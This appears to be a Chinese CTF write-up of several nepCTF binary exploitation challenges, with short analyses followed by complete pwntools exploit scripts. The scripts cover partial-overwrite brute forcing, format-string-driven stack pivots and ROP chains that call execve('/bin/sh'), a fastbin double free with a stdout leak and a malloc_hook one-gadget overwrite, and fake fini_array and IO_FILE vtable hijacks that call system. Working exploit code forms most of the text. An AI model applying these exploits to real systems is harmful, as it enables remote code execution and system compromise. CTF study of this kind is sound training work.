nepCTF [签到] 送你一朵小红花
保护
分析
- 通过查看字符串,找到后门函数,由于没有被引用,因此IDA并没有识别出来
- main函数中有一个很明显的溢出,并且malloc中存放的是函数指针
- 由于开启了PIE,因此后门函数的地址是未知的
- 但是malloc中已经有一个在后门函数附近的函数指针了,因此后门函数与已经有的函数指针,只有低2B不同
- 并且由于4K对齐,低12bit保持不变,因此只需要partial overwrite即可,需啊哟猜测4bit
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context(arch='amd64', os='linux')
for i in range(2**4):
    try:    
        sh = remote('node2.hackingfor.fun', 32799)
        #gdb.attach(sh, 'break *'+hex(proc_base+0x1721))
        exp = '\x00'*0x10
        exp+= p16(0xE4E1)
        sh.send(exp)
        sh.interactive()
    except:
        continue
nepCTF easypwn
保护
没有PIE,没Canary,只可能事ROP的题了
分析
- 我们的输入都被复制到bss段上面,很明显的,这是为我们写ROP做准备,不然无法直到ret到哪里
- 整个程序只有一个格式化字符串漏洞,而且只有7B,我们需要利用这个漏洞来开启ROP
- 题目只说了是2.27,但是具体是那个小版本没说,可以先利用格式化字符串泄露libc
- 栈环境
可以利用保存在栈上的libc_start_main的返回地址去泄露libc的最低12bit
远程打出来发现是2.27 UB1.3
- 7B,只能用类似%xx$hhn的exp,也就是说只够我们任意地址写入一个00的,这时候就用很多种思路了
- 打GOT表,让试试能否让函数正好偏移到可利用的位置,失败
- 打IO结构体,但是未知libc地址,后续也没有scanf,失败
- 通过%100c在buffer输出很多字符,从而再memcpy中产生栈溢出,但是被snprintf的7B限制住了,失败
- 利用RBP链表劫持caller保存在栈上的,这个技巧很通用,下面详细说明
 
- 从rbp指向的开始,到rsp结束的栈区域称之为一个函数栈帧
- 当函数A调用函数B时,B需要保证A的函数栈帧不变
- 因此再进入函数B时有如下指令
push rbp ;保存A的rbp,此时rsp指向栈中A的rbp mov rsp, rbp ;rbp=rsp,此时A的栈底成为B的栈顶,此时rbpA的rbp sub rsp, X ;分配X空间,此时[rbp, rsp]成为B自己的栈帧 ... leave ;恢复栈空间, rsp=rbp, pop rbp ret ;返回
- 我们可以发现一个天然的栈链表:B的rbp指向保存再栈中A的rbp,
 递推下去,A的rbp也是如此
- 观察snprintf时的栈环境,可以很明显的看到一条链表
- 那么与格式化字符串有什么关系呢?
- 格式化字符串的%N$n参数,需要第N个参数为一个指针才能完成写出
- 这个rbp链表刚好可以当做我们的参数,而且还不需要我们泄露栈地址,就可以劫持caller()的rbp
 
- 假设有caller1()=>caller2()=>caller3()的调用链条,再caller3中我们其rbp链表,修改了保存在栈上的caller2()的rbp为X- 当caller3()经过leave; ret;返回到caller2()时,caller2()的rbp=X
- 当caller2()经过leave; ret;返回到caller1()时,有- leave:
- rsp = rbp = X
- pop rbp,rsp=X+8
 
- ret:
 pop rip,从而开启ROP
 
- leave:
 
- 当
有了上述思路,本题就很容易了
- 先格式化字符串修改caller()’s rbp最低字节为00,rbp刚好可以偏移到我们可控的位置,开启ROP
- 整个ROP链表可以描述为
- ROP1:
- 劫持rbp为ROP2的地址
- puts(puts的GOT地址)泄露libc地址
- 返回到leave; ret,通过栈迁移开启ROP2
 
- ROP2:
- 劫持rbp为ROP3的地址
- read(0, ROP3, len)读入新的ROP,因为需要利用上libc泄露的地址
- 返回到leave; ret,栈迁移开启ROP3
 
- ROP3:
- syscall调用execve(“/bin/sh”, 0, 0)
- 要避免使用system,因为system对rsp的对齐有要求,可能会导致意外的SIGV
 
 
- ROP1:
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):    
    log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, 'break *0x400b7e')
else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 34092)
def TeamName(name):
    sh.recvuntil('Please input your teamname: ')
    sh.send(name)
def NameIntro(name, intro):
    sh.recvuntil('input your name\n')
    sh.send(name)
    sh.recvuntil('input introduction\n')
    sh.send(intro)
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
leave_ret = 0x400a1f
#ROP2 read ROP3 and trigger it
exp = p64(0x602380)        #rbp
exp+= p64(pop_rdi_ret)        #read(0, buf, size)
exp+= p64(0)
exp+= p64(pop_rsi_r15_ret)
exp+= p64(0x602380)
exp+= p64(0)
exp+= p64(elf.symbols['read'])
exp+= p64(leave_ret)
exp = exp.ljust(0x50, 'A')
TeamName(exp)
#ROP1, leak libc addr and begin ROP2
name = "%22$hhn"        #attach rbp list
Intro = p64(0x6020c0)        #rbp, TeamName addr
Intro+= p64(pop_rdi_ret)    #puts(@GOT)
Intro+= p64(elf.got['puts'])
Intro+= p64(elf.plt['puts'])
Intro+= p64(leave_ret)        #stack migrate
Intro+= "/bin/sh\x00"
Intro = Intro.ljust(0x38, 'A')
NameIntro(name, Intro)
sh.recv(4)
libc.address = u64(sh.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
Log('libc.address')
rop = p64(0)            #caller's rbp
rop+= p64(pop_rdi_ret)        #rdi
rop+= p64(0x602149)
rop+= p64(pop_rsi_r15_ret)    #rsi
rop+= p64(0)
rop+= p64(0)
rop+= p64(libc.address+0x1b96)    #rdx
rop+= p64(0)
rop+= p64(libc.address+0x43ae8)    #rax
rop+= p64(59)
rop+= p64(libc.address+0xd2745)    #syscall
sleep(1)
sh.send(rop)
sh.interactive()
环境问题
本地UB18.04的测试中,是刚好差了8B无法开启ROP的,但是再UB16.04中就可以正常进行,所以本地调试时还是要多试试环境
nepCTF easystack
保护
分析
- 先把flag read到bss上
- Main函数
- 有一个很明显的栈溢出,但自己实现了一个canary机制
- 当发现canary被修改过之后,会调用__stack_chk_fail()函数
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}- 其中__libc_argv定义在libc的bss段,指向栈中的文件名指针argv
- __libc_argv => argv => 文件名
 
- 因此我们只要栈溢出的够多,覆盖argv,就可完成一个任意读,本题和2018网鼎杯 GUESS 很像,就不多说了
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 31255)
#gdb.attach(sh, 'break *0x400A8E')
sleep(1)
exp = 'A'*0x1c8
exp+= p64(0x6CDE20)
#sh.recvuntil('give me your answer!!\n')
sh.sendline(exp)
sh.interactive()
nepCTF sooooeasy
保护
程序分析
- 结构体
struct Note{ bool in_use; char* name; char msg[0x18]; }; sizeof(Note)=0x28
- Add
- 只能使用0xF次
- 分配Note并清空
- note = malloc(struct Note);
- memset(note, 0, 0x28)
 
- 分配任意大小的name并进行写入
- 读入任意大小的size
- tmp = malloc(sz),
- read(0, tmp, sz);
- note->name=tmp
 
- 读入0x17长的msg
- scanf(“%23s”, ¬e->msg)
 
- note->in_use = 1
- 记录写入到PtrArr中
- PtrArr[idx] = note
 
 
- Delete
- 读入idx:0<=idx<=0x13
- PtrArr[idx]->in_use = 0
- free(PtrArr[idx]->name)
 
思路
- Delete之后没有设置为null,造成double free
- 堆题libc都很重要,题目没给libc,先用double free测一下
- 如果报fastbin double free 那就是2.23~2.26
- 2.23下会检查free的fastbin chunk是不是fastbin链表中的第一个chunk
 
- 如果没报错那就是2.27~2.28
- 因为有tcahce,2.27的tcache没有任何检查
 
- 如果报tcache double free那么就是2.29及其以上
- 因为2.29以后tcache增加了key字段防止tcache double free
 
 
- 如果报fastbin double free 那就是2.23~2.26
不仅知道了是2.23还可以直接更绝低12bit确定libc的小版本
- 2.23下直接fastbin double free,通过隔块释放的方法绕过检查
- fastbin attack的要点就在于要伪造size
- 没开seccomp因此可以利用__malloc_hook前面的0x7F,去伪造一个0x70的大小
- 思路清晰了,直接fastbin double free打malloc hook+OGG,可能要realloc调整栈
- 顺便说一句:如果是要打__free_hook,附近没有0x7F怎么办呢?
- malloc_state前面有0x7F,可以利用这个0x7F打malloc_state控制top chunk指针,不断申请让top chunk最终分配到__free_hook
- 还是打malloc_state,但这次控制fastbin数组,利用fastbin jump手法,一边伪造size一边分配,这个手法没什么文章说,我后面可能会再发一篇细说
 
- 题目没给show功能,因此我们只能通过UB的fd指针构造一个stdout指针,然后打IO
- 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
- UBchunk->FC_near_stdout
- 不能直接指向stdout,要指向stdout前面的0x7F来伪造size
 
- 构造一个double free
- Fastbin->A<->B
- 为了绕过检查,A,B,UBchunk的size都一样
 
- 分配Fastbin得到A,partial overwrite残留的堆指针,使其指向UBchunk
- fastbin->B->A->UBchunk->FC_near_stdout
 
- 接下来不断分配就可达到stdout
 
- 先得到一个UBchunk,分配到后partial overwrite残留的fd指针,得到指向stdout附近的的指针
- 打stdout的手法:
- 当控制stdout->_flag =0xFBAD1800后
- 输出时会打印[stdout->_IO_write_base, stdout->_IO_write_ptr)之间的内容
 
- 当控制
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
def Log(name):    
    log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
for i in range(100):
    try:
        sh = remote('node2.hackingfor.fun', 38018)
        def Cmd(n):
            sh.recvuntil('Your choice : ')
            sh.send(str(n).ljust(8, '\x00'))
        def Add(sz, name, msg, nl=True):
            Cmd(1)
            if(nl):
                sh.recvuntil('size of the your name: \n')
            else:
                sh.recvuntil('size of the your name: ')
            sh.sendline(str(sz))
            if(nl):
                sh.recvuntil('Your name:\n')
            else:
                sh.recvuntil('Your name:')
            sh.send(name)
            res = ''
            if(nl):
                res = sh.recvuntil('Your message:\n')
            else:
                res = sh.recvuntil('Your message:')
            sh.send(msg)
            return res
        def Delete(idx, nl = True):
            Cmd(2)
            if(nl):
                sh.recvuntil('mumber\'s index:\n')
            else:
                sh.recvuntil('mumber\'s index:')
            sh.sendline(str(idx))
        Add(0x90, 'A'*0x90, 'A\n')    #0
        Add(0x68, 'B'*0x68, 'B\n')    #1
        Add(0x68, 'C'*0x68, 'C\n')    #2
        #get a UB chunk
        Delete(0)        #UB<=>(A, 0xA0)
        #gdb.attach(sh)
        #partial overwrite UB'fd, get a 0x7F fake chunk near stdout
        hb = 0xc #int(input(), 16)        #0xC
        Add(0x68, p16(0x5DD|(hb<<12)), 'D\n')    #3 0x70+0x30 = 0xA0, D->FC near stdout
        #Fastbin double Free
        Delete(1)        #FB[0x70]->B
        Delete(2)        #FB[0x70]->C->B
        Delete(1)        #FB[0x70]->B<->C
        hb = 0xF #int(input(), 16)        #0xf
        #partial overwrite A's fd, Fastbin[0x70]->C->B->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'B\n')    #4
        Add(0x68, p16(0x060|(hb<<12)), 'C\n')    #5    Fastbin[0x70]->B->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'B\n')    #6    Fastbin[0x70]->D->FC near stdout
        Add(0x68, p16(0x060|(hb<<12)), 'D\n')    #7    Fastbin[0x70]->FC near stdout
        #stdout attack
        exp = '\x00'*(3+8*6)
        exp+= p64(0xFBAD1800)    #flag
        exp+= p64(0)*3            #read
        exp+= p8(0x58)            #write_ptr
        res = Add(0x68, exp, 'E\n', False)
        #get addr
        libc.address = u64(res[1:9]) -0x3c56a3
        Log('libc.address')
        if(libc.address>=0x0000800000000000):    #check
            sh.close()
            continue
        ones = [0x45226, 0x4527a, 0xf0364, 0xf1207]
        OGG = libc.address + ones[2]
        Log('OGG')
        FC_hook = libc.address+0x3c4aed
        Log('FC_hook')
        #fastbin Double free
        Delete(1, False)        #FB[0x70]->B
        Delete(2, False)        #FB[0x70]->C->B
        Delete(1, False)        #FB[0x70]->B<->C
        #attack realloc_hook, malloc_hook
        Add(0x68, p64(FC_hook), 'B\n', False)    #FB[0x70]->C->B->FC_hook
        Add(0x68, p64(FC_hook), 'C\n', False)    #FB[0x70]->B->FC_hook
        Add(0x68, p64(FC_hook), 'B\n', False)    #FB[0x70]->FC_hook
        #Add(0x68, p64(FC_hook), 'B\n')    #FB[0x70]->C->B->FC_hook
        exp = '\x00'*(3)
        exp+= p64(0)
        exp+= p64(OGG)                            #realloc_hook
        exp+= p64(libc.symbols['realloc']+16)        #adjust stack env
        Add(0x68, exp, 'F\n', False)
        #trigger
        #gdb.attach(sh, 'break *'+hex(proc_base+0xb0a))    
        Cmd(1)
        sh.interactive()
    except:
        continue        
        #sh.close()
'''
telescope 0x202040+0x0000555555554000
want:    0x0000555555759070
'''
nepCTF scmt
保护
程序分析
- 直接格式化字符串泄露rand就好了,模板题
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
sh = remote('node2.hackingfor.fun', 36380)
#gdb.attach(sh, 'break *0x400B23')
exp = '%8$x'
sh.recvuntil('tell me your name:\n')
sh.send(exp)
sh.recvuntil('Welcome!!!')
key = int(sh.recvuntil('Give', drop=True), 16)
Log('key')
sh.recvuntil('number:\n')
sh.sendline(str(key))
sh.interactive()
nepCTF superpowers
保护
程序分析
- 在进入main函数的时候并不是常规的建立栈帧,而是借助ecx又保存了一次rsp
- 这样做的目的是避免栈中的有指向返回地址的指针,让格式化字符串无法开启ROP
读文件
- 读文件可以通过读/proc/self/maps来泄露所有地址
- self是一个伪目录,表示本进程的pid
- maps保存了这个进程的内存映射
 
- 远程打过去,得知为2.23的libc
格式化字符串
- 长度无限制,读到栈上,可以直接拿来进行任意写
- 再进行格式化字符串之后,程序调用了fclose(fp)就返回了
- 
main()返回到__libc_start_main()之后,__libc_start_main()又会调用exit()
- 因此这里有两个攻击面:
- 
fclose(fp):伪造fp,通过vtable获得控制权
- 
exit():劫持_rtdl_global结构体,伪造.fini_arrary节进行一种另类的ROP- 由于偏移问题,这种思路没成功,但还是很有借鉴意义的,所以说一下
 
 
- 
劫持_rtdl_global
- 
ELF节标识符通过描述符+地址指向节真正的位置- 0x1a代表描述的是.fini_array节的地址
- 0x1c代表描述的是.fini_array节的长度
 
- 
_rtdl_global结构体位于ld.so.2的bss段,用来保存载入的ELF文件
- 
_rtdl_global中通过指向ELF节标识符的指针来找到对应节
- exit()函数再退出时,通过_rtdl_global找到.fini_array节,然后执行其中的函数
- 通常ELF节标识符都是只读的,无法开刀,但是_rtdl_global可读可写
- 所以我们可以通过libc地址+偏移找到_rtdl_global的地址
- 格式化字符串修改_rtdl_global中的fini节指针,指向我们伪造的地方
- 同时exit()调用.fini_array节中函数的特点- 逆序从后往前调用
- 遍历fini时只有几条指令,栈环境很稳定
- 第一个参数正好是一个栈指针,可以用作缓冲器传递数据
 
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
def Log(name):    
    log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, '''break *0x80487B3''')
else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 34111)
def FileName(fn):
    sh.recvuntil('please input filename:')
    sh.sendline(fn)
def Name(name):
    sh.recvuntil('what\'s you name?\n')
    sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
    sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fini_arr_addr = libc.address + 0x1f59a0
Log('fini_arr_addr')
fini_arr_len_addr = libc.address + 0x1f59a8
buf = 0x0804a400
exp = fmtstr_payload(
        offset = 27,     
        writes = {
            fini_arr_len_addr: buf,
            fini_arr_addr: buf+8,
            #fini_arr_len section
            buf: 0x1C,
            buf+4: 4*3,
            #fini_arr section
            buf+8:  0x1a,
            buf+12:    buf+16,        #fini arr ptr
            buf+16:    libc.symbols['system'],
            buf+20: libc.symbols['gets'],
            buf+24: libc.symbols['gets']
        },
        write_size = 'byte'
    )
Name(exp)
sh.sendline('/bin/sh')
sh.interactive()
'''
print:        break *0x80487B3
exit:        break *0xf7fe8a53 / 0xf7e3677f /0xf7fe8a2f
exit call:    0xf7fe8a70
fini_arr:     set *0x8049edc=0xdeadbeef
main_ret:     break *0x80487DC
fini_arr_addr:     0x08049f10
'''
伪造IO_FILE
- 
fclsoe()函数会根据虚表去调用_IO_FINISH(fp)
- 2.23下并没有对_IO_FILE中vtable指针检查,所以可以随意伪造
- 根据调用,我们只要把_IO_FILE->vatble劫持到伪造的虚表中
- 然后在伪造的虚表中令__finish字段为system()
- 此时__finsh(fp)就变成了system(fp),我们只要再fp开头8B中写入”/bin/sh”就可getshell
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
context.log_level = 'debug'
context(arch='i386', os='linux')
def Log(name):    
    log.success(name+' = '+hex(eval(name)))
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
    gdb.attach(sh, '''break *0x80487B3
break *0x80487cd''')
else:                            #remtoe
    sh = remote('node2.hackingfor.fun', 31049)
def FileName(fn):
    sh.recvuntil('please input filename:')
    sh.sendline(fn)
def Name(name):
    sh.recvuntil('what\'s you name?\n')
    sh.send(name)
#leak addr
FileName('/proc/self/maps')
for i in range(5):
    sh.recvuntil('\n')
libc.address = int(sh.recv(8), 16)
Log('libc.address')
#fmt str
fp_addr = 0x0804a04c
buf = elf.bss()+0x100
system = libc.symbols['system']
Log('system')
exp = fmtstr_payload(
        offset = 27,     
        writes = {
            fp_addr: buf,
            #fake FILE struct
            buf:         u64('/bin/sh\x00')&(0xFFFFFFFF),
            buf+4:         u64('/bin/sh\x00')>>(32),
            buf+0x38:    -1,                                    #fd=-1 to pass by _IO_file_close_it
            buf+0x48:    libc.address+0x1b1870,                #pointer to zero
            buf+0x58:    libc.address+0x1b1870,                #pointer to zero
            buf+0x94:    buf+0xA0,                            #vtable ptr
            #fake vtable ptr
            buf+0xA8:    system
        },
        write_size = 'byte'
    )
Name(exp)
sh.interactive()
'''
print:        break *0x80487B3
fclose()    break *0x80487cd
'''
























